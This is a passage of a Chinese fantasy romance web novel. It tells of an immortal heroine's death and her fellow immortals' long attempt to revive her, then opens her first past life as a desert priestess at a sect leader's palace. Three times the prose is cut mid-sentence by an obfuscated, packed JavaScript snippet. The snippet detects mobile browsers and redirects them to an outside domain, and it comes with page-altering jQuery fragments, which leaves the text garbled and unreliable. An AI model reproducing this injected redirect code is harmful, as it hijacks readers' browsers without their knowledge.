“我没有……他们……怎么也在……” “大家都是支持你的,你要相信我们,以后不要再一个人了,学会偶尔依靠下我们,好不好?等你伤好了,我就仔细告诉你大家是怎么做的……若若,别睡,坚持着……”他像哄孩子一样,用轻柔又低沉的声音哄她。 她意识已经模糊,鬓发散乱,冷汗从额边止不住得流下,流到下颌再滴落,她的白衣沾满经络爆裂开溅上去的血,整个人像从血海里打捞出来。 她的声音细弱到只有他能听见:“好。” 她忽然揪住他的衣襟,用最后的力气开口,“有件事,我想和你说……” “别说了,你存着力气,我马上就到瑶池。” 她摇头,“我灵力耗尽,识海散尽,不说怕来不及了……” “你说。”他压着声音中的颤抖。 她看不见他的面容,只能靠抓他衣襟感受他的存在。“我没始乱终弃……” “什么?” “我没始乱终弃……如官……我……是真喜欢你的。” 郑含元只觉眼中模糊,不知是悲是喜。 她笑了起来,“等会回去,帮我……帮我找簪子……我落在九重天了……” “什么簪子?” “小花灯……你欠我许多年的小花灯……你送我的……被扶光打落了……” “好好好,我找。” “我喜欢你。” “好。” “我喜欢你,如官。” “我知道。” “我喜欢你,含元。” “我知道,我知道。” “那你喜不喜欢我呀……” 郑含元赶到瑶池,像上次在鬼域那般抱着她跳了进去。 “我不是喜欢你,我是爱你!你明白么?”他紧紧抱着她,在她耳边温柔又郑重说着。 王心若轻轻一笑,眼中光亮逐渐淡去。 霎时间,光华渐现,她化为无数莲瓣,飘在水上,又渐渐淡去。 而他除却搂着一池冷水,再无他物。 白衣仗剑少年郎,随风伴花倚树旁。 醉时匆匆一场梦,醒来何处为故乡。 35. 月上柳梢头(1) 35.月上柳梢头(1) 天历三纪十年,人间,燕国大漠。 斜阳将湛蓝天空晕开,使黄色沙砾更渡上暖色。望不到尽头的沙漠上,正奔腾着一群骏马。 策马奔腾之人穿着打扮与中原不同,无论男女皆身着绣古朴凤凰纹样的斗篷赤色长袍,男子腰佩弯刀,女子头饰红珠。 他们骑着骏马奔驰在昏黄大漠,比太阳更像熊熊燃烧的火焰。 打头的是个身形纤细娇小的少女,她俯着身子紧拉缰绳,双眸凝神,带着隐隐狠意,紧抿双唇,汗水自额头向面颊滑落,十分卖力地向前冲去。 骏马奔跑似有固定轨道,两侧有彩绳划分场内外,场外还有许多同样打扮的人观望他们骑马,时不时爆发出欢呼声。 忽然身后有人赶上少女,那人骑着马朝少女重重一撞,使少女的马趔趄一脚,少女从马上摔下翻倒在地。 周围围观人群瞬间骚动起来,有人疯狂吹口哨,有人则尖叫,不知是担忧少女,还是单纯起哄。 少女迅速起身,此时已有三、四个人超过她,她赶忙把马拉正,急匆匆跨上马,抽出腰间盘着的鞭子抽马,催它跑上前。 此时少女已经落在第六。 她额上的汗水越落越多,使劲驭马使之向前冲去。 前面几人挨得很近,她拼命赶上去,却始终离第五人差一段距离。她抬眼看那撞倒自己成为第一的人,此刻已经快接近悬挂银铃的那条彩绳。 片刻思忖,她起身,在众人震惊的目光中爬到奔腾的马背上,然后一个大步跃至第五人马背后方。 她险些被甩下去,却死死扯住了马身上的皮革绳子,而后用此种方法接连跳到第二人马背上。第二的马受惊,就要将她甩下去,她趁马身甩动,跃至第一人的马背上,跨坐马后。 那人回头,一手持缰,一手抽出腰间短刀,朝她攻来,她情急之下,以手挡之,结果手背小臂被割烂一道猩红的口子。 “苏赫!你这个混蛋!”少女怒道,她抽出鞭子朝他狠狠抽去。 那人吹了声口哨,笑道:“你有着比羊崽子还细嫩的声音,为何眼神比恶狼还凶?马背不是你的归宿,嫁给我,让我告诉你,我的帐篷才是你温暖的家乡!” 全场响起了这场比试以来最大的起哄欢呼声。 苏赫为制造出如此轰动感到自豪,却激起少女的愤怒,少女趁他得意,长鞭抽缠住他的腰,狠狠一甩,苏赫从马上跌落,而少女骑着他的马,冲破彩绳,她抓着彩绳飞扬在空中,引得银铃震响胜利的声音。 有一批人尖叫着朝她涌来,将她从马背上抬下,再高高抛向上空。 他们激动地喊着她的名字。 “雅若,雅若!乌兰部落的小月亮,乌兰部落的勇士!” 喧闹后,他们将她放在地上,她这才放下斗篷帽子,露出稚气漂亮的容颜,眼中情绪也从方才的狠恶变为激动。 慈祥的族长走来,满意道:“雅若,恭喜你胜出比试,你将代表乌兰部落被送往漠北缥缈宫,成为缥缈宫祭司之一。” 苏赫一瘸一拐走上前,不满道:“族长,雅若不能去!她性子冲,惹怒教主怎么办?到时候教主降罪,咱们部落就完了!” 雅若哼了一声,“手下败将!我赢了,这位置就是我的。” 她手指缠着彩绳,甩着银铃,昂着头离开。 苏赫唉了声,对族长说:“族长,让我跟她一起去吧!她一人不行的!” * 百般恳求下,苏赫成了送雅若的随从之一。 作为乌兰部落送往飘渺宫的祭司,雅若今日被打扮很精致。她穿着凤凰图腾大红长袍,乌黑的长发绾成两条长辫,头上戴着雕刻精细的金色发冠,红玛瑙串起的珠链绕着额头缠了一圈,额上及双颊皆画上古老符文样式的花纹。 她坐在骆驼上,骆驼行于大漠中。 大约三天三夜,一行人抵达漠北。缥缈宫精致华美,全然不似戈壁上能有的东西,所以在燕国大漠所有部落看来,缥缈宫是神所建造,教主便是那个神。 部落子民不拜中原皇帝,却唯缥缈宫教主马首是瞻。 他们一到,便有弟子前来迎接。弟子将他们迎至大殿,大殿前有紫色金纹的纱帐,随从被勒令不得迈进纱帐一步。 苏赫道:“雅若,你可别乱说话啊!” 雅若才不理他,将双手交叠,抵在肩上,挺腰抬头进入紫金纱帐后的大殿。 殿上空荡无一人,只有上座也挂着同样的紫金纱帐。 她不知道座后是否有人,只好保持着行礼姿态,朗声道:“乌兰部落祭司雅若,拜见教主,愿教主与天地同寿,与日月齐光!” 清灵稚嫩却底气十足的话音回荡在空旷殿堂。 没有回应。 雅若略有些疑惑,又说了一遍。 “乌兰部落,祭司雅若,拜见教主!” 还是没有回应。 她想回头去找弟子,却发现他们和自己的随从都不见了。 她微皱着眉,大胆地朝前方紫金纱帐走去。 身后忽然传来略有些急促的脚步声。 她回身,却看见一个银竹墨袍的俊美少年朝她走来,双眼中神色与这般年轻的皮囊略有些不符,盛着她看不懂的情绪。 似是震惊,似是喜悦,复杂极了,但有波涛万丈,最终却归于平静深邃。 她睁大眸子望着他,疑惑问道:“你是教主么?” 他没回应,停在她面前,伸出手,抚上她右颊。 她呃了声,退后一步道:“上面是族长给我画的花纹,不可以擦的。” 他轻轻碰了一处,开口问她,声音竟似许久不言语般嘶哑。 “这里是痣?” 她点点头,她右颊确实有个红痣,不过掩在花纹下,很难看清。 这个少年居然一眼就看出来了,眼神倒不错。 她重新问了遍,“你是教主么?” 他沉默片刻,“我带你见他。” 他伸出手,似要搀她。 雅若只觉得当祭司很好,竟被教主下属如此尊敬,于是朝他友好一笑,将手轻轻放上去,跟着他一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137517|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步往前走。 行至纱帐前,那少年淡淡道:“……教主,乌兰部落送来的祭司到了。” 一只莹白如玉的手缓缓撩开纱帐,随着他露出真容,雅若感到呼吸一窒。 她从来没见过如此美丽的人。 长眉入鬓,眼波流转,英气妩媚,姿容绝艳。他穿着绣金色牡丹的绛紫衣袍,长发随意披落,自有风情。 虽然很美丽,雅若还是观察到他喉咙上明显的喉结。 男的。 雅若感到既往的认知有些崩塌。 大漠里的男子都像苏赫那般皮糙肉厚,哪里有这般金贵美丽的存在? 不仅如此,她还感觉教主看向她的时候,稍微失神片刻。 难道她的美貌震惊了教主?不应该啊,她和教主放一起,简直是艳丽牡丹和路边小红花的区别,教主怎么会因她失神。 教主和少年对望一眼,声音有些低沉问道:“你叫雅若?” 她点点头,“我叫雅若,在我们大漠上,雅若是月亮的意思。” 教主颔首,“为何进入缥缈宫?” 说起这个,她脸上颇带得色,“因为能进缥缈宫的都是部落里最厉害的人,我是乌兰部落里最厉害的人,自然就进来了。” “你想证明自己?” 雅若嘿嘿一笑,“其实也不是,他们都说缥缈宫里有吃不完的牛羊肉,喝不完的牛羊奶,我很羡慕,所以就想来。” 教主敛眸不知在想些什么,似乎没听见她的话,半晌才略有些不自然地笑了几声,“好,我这就让人带你去吃。” 这教主怎么怪怪的…… 雅若暗道,但她也没多想,高兴道声谢,而后,她跟着教主安排的弟子,离开大殿,向她憧憬的肉香奶香出发。 期间,她回身看了眼,却发现教主和那少年都认真地盯着她看。 那眼光让她有点毛骨悚然。 难道她今天哪里表现得不好?真像苏赫所说,她不适合来当这个祭司? 缥缈宫真是如它的名字一样缥缈难以捉摸。 不过一想到有牛羊肉吃,她便也不纠结,开开心心跟弟子边走边攀谈。 弟子说,教主名讳为柳宜均,旁边那个少年是最近新来的祭司,但他也不知道叫什么。 她感叹,柳教主真是个大美人,漂亮得不像人间长出来的。 …… 殿内,那教主和少年却交流起来。 教主端正坐姿,有些出神问道:“师兄,这真得能成么?五百年来,诸多尝试,皆付之东流。我怕这镜中世界,也不过是假象,昙花一现而已。” 便是心性再强大的人,经过成千上百次的失败,经历无数次希望到失望,对未知的前路也感到迷茫和绝望。 而少年面无表情,语气平静,话语中透出一种近乎偏执的笃定。 他道:“能成,不成,就再找别的方法。” 无论成败,尝试着,那缘分总未断,若不尝试,就真的万般皆空。 这一切都要从四百万年后上仙王心若的陨落开始说起。 36. 月上柳梢头(2) 36.月上柳梢头(2) 天历七纪一百零二年,天界异象横生,许多修士听见上空九重天传来爆裂似的巨大声响,看见了笼罩天边的刺目光芒。 九重天发生了前所未有的大战,大战当天,朝华钟碎裂,三日后,空明山崩塌。 古籍有传,空明山倒,天地倒悬,日月混沌,巨祸乱世。 那日开始,九重天的永夜星辰就像海水冲破堤坝,涌入虚妄天,将整个天界染上夜色,天境不复当年湛蓝清澈。 不仅如此,空中还弥漫着夹杂着蝶影的淡淡灰雾,望之令人不安。 这些异象让天界修士人心惶惶,只有一点是好的——天界灵气忽然浓郁起来,使他们修行比以往讯速许多。 诸仙君清除了那日缚仙砂锁住的其他仙人的相关记忆,扶光和王心若身陨之事,并未传开。 但修士们知道九重天除却为诸仙君居所外,亦是神君驾临之地,能有如此异动,八成有神驾临。 便有传言说,神对天界不满,所以降异象以作警示。 若说对天界不满,八成是对仙盟不满,对仙盟不满,八成是对盟主不满。 许多修士并不知道仙盟易主,还以为盟主是原来的王心若和许道淳,所以,围绕他二人与神,凭生出许多猜测。 后来,有参加过前几次朝华集会的仙人透露,扶光确实对他二人不满,是故指定吴秋行和素璇为新任盟主。 …… 那边流言纷纷,这边诸仙君则在拼命想办法复活王心若。 那日,郑含元抱着王心若去瑶池,其他仙君陆续赶到时,王心若已油尽灯枯、形神俱毁。 他们并未让自己意志消沉,反而极其迅速地全心投入到复活师姐的任务中。 因为,实在没人敢相信……与他们相处几百万年的大师姐,就这样突然湮灭尘世。 没人能接受。 让自己不陷入到悲痛中的方法,就是拼着一口气力挽狂澜。 师兄弟们难得齐心,为同一个目标而努力。 郑含元和许道淳找遍地界,希望能觅得她一丝残魂;傅钰推衍天数,想推断她是否有灵魄存于三界;陆起和陶闻生炼制复活肉.身的法器,盼着这能用在凡人身上的法器也能唤回仙人的命;赵玄檀、柳宜均和裴嘉翻遍古籍,希望能从上古秘术中寻得蛛丝马迹,制成召唤灵魂的法阵;慕容修和吴秋行则在此时坐镇天界,处理杂务…… 这段时间,诸仙君都变了很多,脸上笑容几乎消失。 郑含元是变化最大的那个,他的眼神愈发阴郁,脸上再也没有笑容,也很少开口说话。 大家都在努力着,可事实很残酷。 地界寻不得残魂,天数推不出结果,法器唤不回灵魄,古籍秘法统统失败。 就这样尝试五百年,能用的方法用尽了,他们再不愿意接受师姐已死的事实,似乎也该接受。 每个人都在后悔当初没有再快一些。 这样想,似乎也没什么用。 可不这样想,能做的就只有陷入无尽的绝望。 就在所有人都快放弃时,任流光那处传来了好消息。 他说,天界如今之所以灵气浓郁,是因为有神陨落,神与天地同生,神死,灵气反哺天地。 而之前,师姐曾和他说,神死,那些丧命神手的弟子可以回来。 所以,他忽然有个想法,那些丧生神手的灵魄之所以不在三界,会不会是因为他们死后归于神体,又加强了神的力量? 而等神死后,灵气散尽,他们的灵魄掺杂在那些灵气中,无法分割,却零散隐藏其中。 不敢耽搁,任流光提取许多神源灵气,用陆起之前制作的法器还魂鼎,按照古籍上旧物引魂的方法,用惊鸿派那些碎去的腰牌,竟然真得成功复活了一二弟子。 尽管他们神识有缺,但好歹人回来了,能动能走能说话,也认得他。 这个消息极大的鼓舞诸仙君,他们开始拼命采集天界的蝶影灰雾,将王心若洞府中旧物放置还魂鼎,期盼奇迹的发生。 起初,许是采取的灰雾太少,鼎中最后炼出的,居然只有一团头发。 后来,他们快将剩余灰雾全采集完,并且经过无数次尝试,见过无数次不可描述的结果,终于在鼎中看到一个完整的人形。 当他们颤着手把那人形的头发撩开时,却没有想象中那般激动,而是产生了巨大困惑。 这张脸有些熟悉,是个年轻少女,额上没有银莲印记,颊上多颗红痣,少了倾城美貌,多了娇憨清丽。 体内感不到任何灵力,完全是凡人躯体。 赵玄檀和柳宜均疑惑道:“这是谁?” 既然是师姐旧物,按理来说,不会炼出别人。 然而除他们和郑含元、吴秋行外,其他人脸色皆是一变。 陶闻生惊道:“这不是……那个被扶光老贼杀死的云姑娘么!” 慕容修和许道淳反应最大,最为震惊。 这张脸别人也许认得,他二人却是刻骨铭心地记得。 那是他们历劫时的身边人。 许道淳似是想通什么事,又似是十分迷惑,“怎么会是若若?怎么会……我们不是在复活师姐么?” 陆起沉默一会,“还魂鼎不会炼出旧物主人外的人,只有一种可能,此人就是师姐……也就是说,云姑娘,就是师姐。” 慕容修紧锁眉头,久久不能回神;许道淳则是缓缓望向郑含元,道:“他说的可是真的?” 郑含元对外物不闻不问,只是神情有些麻木望着鼎中人。 陶闻生打破沉默,“这样也挺好,云姑娘是凡胎,不再是莲花,体内没什么神力,更别提神骨,这样也能和师……呸呸呸,仪光撇得干干净净。何况,这鼎要么炼不出,若炼出了,一定是师姐本人。可她现在是个空壳,没有神识,和死人无异。我们应该想的是怎么找齐师姐灵魄,若师姐灵魄能全,还愁不知道真相么?” 吴秋行默默打量许道淳和慕容修久久无法平复的脸色,似是发现什么,又联想起一些旧事,他忽然站起来,“你们等我回来。” 说罢便飞身离去。 他回来时,带着十盏已灭的魂灯。 “五百万年前,师姐开始历劫,她每历完一劫便将那部分灵魄分割出去,燃起一盏魂灯,十盏灯成,灵魄聚齐,神识重归。也许我们可以逆推,找到在人间历每一世情劫的师姐,将魂引置于其身,待那世师姐亡,魂引自归,点燃一盏魂灯。十盏灯燃,炼制此躯,师姐则归。” 话刚说完,吴秋行很快由激动变为沉默。 魂引是古籍中一种可复制人灵魄神识的东西,炼制极难,耗费灵力,失败率高。 他低声道:“是我唐突,且不说魂引难制,就算制成,如何回到过去,找到师姐。” 眼见着希望又变成失望,陆起却道:“或许可以一试。” 有人质疑:“我们虽为仙君,可从无颠倒时岁的能力,如何试?” 陆起解释:“我门下有个弟子,名叫林果果,曾炼制一把宝镜,唤作‘轮回因缘镜’,可窥前世,若用在仙人上,便能窥人间劫难。自师姐陨落,郑师兄便让这弟子潜心研究,如何使‘窥’,变为‘至’,至今几百年,也算小有成果。” 郑含元原本想,若她真回不来,他就回去,再陪她走一路。 总有方法可以避免她的死亡。 赵玄檀讶异:“这镜子能使我们回到过去?这……不大可能吧。” 天地自有规则在,除非三界原定秩序已然崩坏,否则时光如何逆转。 时光若能逆转,三界岂不乱套。 陆起又道:“因缘镜确实不能回溯时光,但它如今可以根据观者记忆和所历劫数,在镜中重塑一方小世界。” 柳宜均问:“这样的世界应非真实世界,里面的师姐还是真正的师姐么?” 陶闻生接过话:“进入镜中世界的人记忆越真实、对师姐了解越多,里面的师姐便越真实。三界中,没人比我们更了解师姐。所以,在那人进入镜中世界时,我们需要与他接通神识,保证里面的师姐最大程度接近真正的师姐。” 陆起表示赞同地点头。 “那为何不直接将里面的师姐带出来?” “你可以进,里面的东西不能出来。魂引则不一样,它不是带走灵魄,而是复制灵魄。” …… 众人沉默一会。 赵玄檀忽然叹息,“这方法虽然好,听起来十分可行。但问题是,我们怎么找到和师姐历劫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137518|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那个人?” 吴秋行、慕容修和许道淳本欲开口。 郑含元起身,面无表情道:“不用找。” 赵玄檀啊了声,“为何?” 郑含元冷淡扫他们一眼,“你们都是。” !!! 此话犹如晴天霹雳。 他又道:“十盏魂灯,对应的就是在座每一位。不必找别人,足矣。” 赵玄檀结结巴巴道:“你是说……?” 郑含元撇他一眼,“就是你想的那样。” 诸仙君原本就不平静的心态彻底崩了。 不用说陆起这些完全一无所知的人,就连拥有记忆的许道淳等人,也难以淡定。 是故,自此日至十块魂引炼成之日,诸仙君都处于久久的震惊和对彼此的尴尬中。 魂引炼成,他们找来林果果。 林果果如今已成功转世投胎,有新的肉身,还被郑含元特地免了孟婆汤,不必忘却上辈子记忆,她又重新拜入厉川门下,成了陆起的关门弟子。 林果果抱着等身长的轮回因缘镜,到云渚雪山上,诸仙君已在此处等候。 他们已经结好神识互通的法阵,准备轮流进入镜中世界,并在与王心若初遇时,在她身上放置魂引。 柳宜均是第一个尝试的,为一窥究竟,郑含元和他一同进入镜中世界。 为保成功,除却刚进去放魂引时,两人可附身在镜中世界的自己身上,其余时间只能作为镜中世界的旁观者,让镜中世界按照原有的模样进行下去。 否则或会导致镜中世界动乱,以致被困难出。 他们不仅不能附身,还不能离开,得眼睁睁待到这段情劫结束,魂引复制的灵魄才相对完整,聚齐灵魄的可能性才会更高。 这并不是最折磨人的。 最折磨的是,为保镜中灵魄与真实世界相似,他们结了互通神识的法阵。 镜中世界发生的一切,不止进入镜中的人能看见,诸位仙君都能看见。 这不但折磨,而且要命。 毕竟,他们不仅要看自己和师姐的情劫,还看到了其他师兄弟和师姐的情劫。 诸仙君的脸越来越黑,情绪越来越崩溃。 好在镜内外流速不一样,这样的折磨只持续了十日,就结束了。 十日。 据林果果回忆,那应该是诸仙君生涯里最黑暗的十天。 因为她看着原本为复活师姐而同气连枝、同心协力的十个人,到十日后,变得怒目而视,谁也不给谁好眼色。 如果不是仙长还没复活,大约…… 大约天界就要开战了。 十日后。 十盏魂灯终于聚齐。 然而,由于郑含元所在的最后一世情劫过于惨烈,加之前九世情劫或多或少都有他的掺和,他没等到他们结阵炼制,心魂已受损过度,无奈之下,先归鬼域修养。 也许还有一点,是不敢面对五百年劳碌后,那个唯一有希望的后果。 他离开后,陆起把大鼎抬来,鼎里放着那日炼出的凡人模样的王心若。 剩下九位仙君结阵,使魂灯中凝出灵魄,等待灵魄归体。 又是好几个日夜,就在诸人灵力坚持不下时,王心若睁眼了。 诸人一阵狂喜,然而王心若扫了他们一眼,竟然两眼一闭,又昏死过去。 这把诸仙君吓得魂飞魄散,后来发现,人有呼吸了,人还活着,只是昏了过去。 他们这才平复心情,转为狂喜,一同为王心若输灵气,期盼她醒来。 王心若醒来后,静静躺了很久才起身,他们连叫好几声师姐也不回应。 她在他们身边转了一圈,用极其怪异复杂的眼神,一一打量他们一番。 而后坐在镜子面前。 接通神识。 诸人并不知道她看见了什么,只知道她的表情愈发凝重。 王心若偶尔抬眸,望向柳宜均的方向。 这让柳宜均心中很不安。 王心若所见,确实与他有关。 她正在看的,是四百万年前,她历的第一世情劫。 那是乌兰部落的雅若和缥缈宫教主柳宜均的故事。 不仅如此,里面竟然还有郑含元。 37. 月上柳梢头(3) 37.月上柳梢头(3) 历代缥缈宫教主,都是大漠的土皇帝。 新教主上任,大漠十二部落要各选一名祭司进献。 有的部落选按脸选,有的部落按脑子选,乌兰部落简单粗暴,马背上比试,谁骑马先夺银铃,谁就是命定的新祭司。 雅若脱颖而出,自然被送往新教主身边。 雅若想得简单,在缥缈宫吃得好住得好,比在大漠帐篷里强百倍,因此,她想争夺这个机会。 与她一起长大的玩伴苏赫却无论如何都不愿意,说:“你没发现么?那些祭司后来再没回到大漠上,你去那里就没自由了!” “待在乌兰就有自由么?乌兰的姑娘一辈子都走不出大漠,好歹我还能去缥缈宫看看!” 雅若并不听他的话,与骆驼和随从们一起前往漠北,进献给新教主。 怀着期待和初生牛犊不怕虎的单纯勇气,雅若踏入缥缈宫的大殿,向纱帐后的新教主说出拜词。 她心中像有小鼓点般,微微忐忑等待那人的回应。 末了,才听闻慵懒一声“上前来”。 她并不拘谨,迈着步子轻松往前走去,站至纱帐前。 帐后传来一丝轻笑,“站近些。” 她不明所以,但还是照做。 一只纤白玉手伸出帐外,忽然握住她手腕,将她扯进去。 沉郁雍容的紫金纱帐翻飞,天旋地转间,她跌入一个微冷的拥抱,望见一双阴郁凉薄却微微弯起的桃花眼。 紫色的衣袍,金色的牡丹,乌黑的长发,雪白的肌肤。 雅若见过太阳的灿烂和月光的温柔,却没见过雪山之巅、极夜之地盛放的牡丹。 无须光芒,可依旧美丽慑人。 他的声音低沉,也如夜里蛊惑人心的妖。 “你叫雅若?” 雅若二字,他念得极缱绻。 雅若年轻,何曾经受过这样刻意的撩拨,但她又不太懂这种感觉,所以并没脸红,只觉得浑身不舒服,起了一身的鸡皮疙瘩。 她点点头,“我叫雅若,月亮的意思。” “月亮啊……为何加入缥缈宫?”他双眸微眯,雅若感觉他问此话时,语气颇是微妙。 听到她想吃肉时,教主笑了,没说什么,打发弟子带她去吃肉。 ——这教主可真奇怪! 雅若这样想,但她很快就把这场奇怪的会面抛之脑后,开开心心跟着弟子去偏堂吃肉。 烤羊外皮金黄油亮,内肉柔嫩绵软,咬一口,油汁肉香溢满唇齿,偏偏缥缈宫又极会享受,烤制时涂一层蜂蜜,肉质愈发甜美。另有一个小铜鼎,煮着沸水,放着葱姜花椒和其他香料,置数盘削薄的牛羊肉,供她涮着吃。 吃渴了,吃腻了,弟子拿着盛满瓜果的玉盘和装了清酒香奶的琉璃盏递给她,用以换换口味。 一口酒,一口肉,快乐似神仙。 雅若只恨自己没早点到这仙境。 她正吃得快活,忽然感到一个灼热的视线,抬头,却是个黑衣少年。 少年的眼神很奇怪,似乎带点嫌弃。 他问:“吃饱没?” 雅若没反应过来,但很诚实地点点头。 结果,没想到,他径直上前,拉着她就往窗外飞。 没错,是飞。 雅若活了十四年都不知道人可以飞。 “你能飞啊?”雅若震惊。 少年翻了个白眼,“会飞很稀奇么?” 雅若点点头,“太神奇了,我以为传说都是假的!” 接着,她惊叹道:“你会飞,你一定是鸟人!” 少年额上青筋微浮,差点没手抖给她扔下去。 “不会说话就闭嘴。” 两人从偏堂飞出去一事,自然惊动缥缈宫诸多弟子。 他们在前面飞,弟子们在后面追,教主也从正殿出来。 有人大喊:“妖术!妖术!教主,务必把此人捉住,否则他将祸乱天下!” 有人认出少年,道:“我认得他,他是禾日部落送来的祭司!” 教主不似他们这般大吼大叫,语气平静却阴冷,“现在下来,饶你们不死。” 少年带着雅若停在一棵树上,回头喊道:“不用你饶,柳宜均,你能耐了,敢和我抢人。” 柳宜均乃教主名讳,他闻言,面色一寒,从弟子手中接过弓箭,就要往少年射去。 少年嘲讽一笑,朝雅若道:“本君让你体验体验什么叫飞一般的快乐。” 雅若见他似运气般微眯双目,就要往树外跃去,紧张地攥紧他的衣襟。 接着,少年一跃。 “咚——”的一声,两人从高树上直直坠落。 雅若被压在下面,头昏脑胀,鼻中一热,似有血滑下。 果然是飞一般的快乐。 少年狼狈起身,把她扶起来,眼中浮现尴尬和不解,嘟囔道:“不该啊,怎么会失灵……” 雅若听不懂他的话,抚着树颤巍巍站起来。 柳宜均放下弓箭,冷笑道“带走”,弟子们压着少年和雅若下去。 雅若懵得不行,“我是无辜的啊!” 她望向少年,惑道:“你到底谁啊?” 少年还沉浸在他的“妖术”失灵的悲痛中。 雅若打不过那些训练有素的弟子,哀叹道:“鸟人,你可害死我了。” “你说谁是鸟人?再说,我是救你,怎么害你了?” “我都不认识你,你救我什么啊?” “跟傻子说不清楚!” 两人开始有素质的互相辱骂,直到被分关在不同监牢。 雅若遭受无妄之灾,郁闷极了,这夜,柳宜均过来看望她。 柳宜均俯身,挑起她下颌,“你不该向我解释些什么吗?” “解释什么?教主,我是无辜的,我和那会飞的鸟人没一点关系。今天吃肉时,他忽然抓着我就飞出去了……” “不抓别人,偏偏抓你?”他眼中摆明是不信,就在雅若想说辞时,他一把扼住她的喉咙,将她抵在墙上,在耳边轻声问道:“说吧,我叔父派你们来,到底有何目的?” 她虽被扼住咽喉,呼吸却并不困难,可见教主并没真想杀她,于是道:“教主,我都不认识你叔父。部落说你们这要祭司,来这能吃肉,我就来了。” 柳宜均冷笑,“吃肉?哪有人仅为这滑稽的理由进我缥缈宫,你以为我是三岁小孩,这么容易糊弄。” 她用非常诚恳的目光望向他,“真的,真只为吃肉。” 柳宜均忽然撩袍子席地而坐,“好,既然如此,我看你吃。” 他让弟子拿来三盘烤好的牛肉和三盘烤好的羊肉,道:“你吃完,我就信你。” 雅若呃了声,不好意思一笑,“教主,下午吃过了,我吃得可饱。” “吃。”柳宜均双眼毫无波澜。 雅若在他的威慑下,只好拿起竹箸,“那我真吃了?” 对方没回应。 刚吃第一盘时,雅若觉得尚可;吃第二盘时,已经撑了;吃第三盘时,她快哭了。 再这么吃下去,她这辈子都不愿再碰牛羊肉。 她红着眼,夹着第四盘第一块羊肉时,却被柳宜均握住手腕。 “算了。” 她被他带着站了起来。 她小心翼翼问道:“你信我了?我和那鸟人不是一伙,也不认识你的什么叔父。” 柳宜均淡漠望她一眼,没说话,拉着她出了监牢,带到自己的卧室中。 “今夜你就在这里睡。”他指着那挂满纱帐的檀木大床道。 “啊?那教主你呢?” “我不睡。” “不太好吧?要不我睡地上,您上榻去?” “不必,睡你的就是。”柳宜均坐于案前,提笔写些什么。 雅若不好再推辞,用清水洗漱完毕,默默躺到床上去。 但因为晚上肉吃多了,她腹内胀气,忍不住小声打嗝,尽管闭口压下去,依然有小小的声音发出。 忍得难受,打嗝又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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柳宜均打断他,语气十分不善,“这种事,以后别再向我通报。” 大祭司并未让步,继续道:“教主,事关缥缈宫百年基业,您不能用您的任性,断送柳氏血脉传承!” 不知这句话中那个词触动了柳宜均,他眼神忽然凶狠起来,抓着桌上的笔墨朝大祭司掷去,“给我滚出去!再让我听到,我先杀了你!” 大祭司的额头被砚台磕出血,他却似存死谏之心,道:“教主,你就是杀了我,也得完成自己的使命!” 柳宜均被他触怒,上前狠狠捏住他的脖颈,“那你就去死吧!” 那力度确实大,大祭司一张白脸被捏得发紫,依旧顽强边咳边道:“教主今日杀了我,明日柳大人便会从中原赶来,介时教主……还有得选么?” 柳宜均手腕青筋毕露,却缓缓放下手。 然后回头,望向雅若,拉她过来道:“我有女人了,别再给我塞人了!滚远点!” 大祭司望了眼雅若,终是没说什么,灰溜溜退出去。 柳宜均用力关上门。 雅若还是第一次见他发飙,那模样比自己骑马时还凶。 看到她的眼神,柳宜均道:“怎么?没见过人生气?你放心,以后这样的机会有很多。” 雅若摇头,支吾问道:“教主,您刚刚说的话,是开玩笑的吧……” 柳宜均拿沾水的帕子细细擦手,“哪句话?” “就……女人什么的……” 柳宜均哦了声,“你别怕,我是不会对你做什么的。” 雅若长舒一口气。 她看也是,教主不过是拿她堵那个大祭司的嘴。 然而,柳宜均唇畔忽然染上一丝带着莫名恶意的笑意,他道:“不会对你做什么,是因为我是……” 他靠近她的耳畔,轻轻说了两个字。 雅若被那两个字震惊,久久回不过神。 38. 月上柳梢头(4) 38.月上柳梢头(4) 柳宜均向她说,他是隐宫。 这个词,雅若是知道的。 天分阴阳,人有男女,隐宫者,则在“五不男”之中。 在世俗眼光里,这样的男子,算不得男子。 柳宜均为何如此轻而易举告诉她…… 雅若震惊中,忽然觉得脖上一凉,“教主,你把这些告诉我,不会是要杀我灭口吧。” 柳宜均盯着她问:“莫非你会告诉别人?” 雅若摇头,“不不不,我发誓绝不告诉别人。” “那就好……”柳宜均俯身,弹了下她的额头,“现在,你和我之间,有秘密了。” 雅若揉揉额头,没明白。 柳宜均道:“这段时间,你就待在我这,与我同吃同住,哪也不许去。” 反正祭司本也是用来侍奉教主的,她倒也听话答应。 只是柳宜均很奇怪,除一日三餐外,也不见他处理教中事务,只在屋中屋外作画。 在屋内,他画无脸美人,在屋外,他画各式花朵。落笔缠绵细腻,用色绚烂美艳。 雅若大漠而生,哪里晓得这样精致的东西,她又无事,每天就搬个小板凳坐他旁边,看他作画。 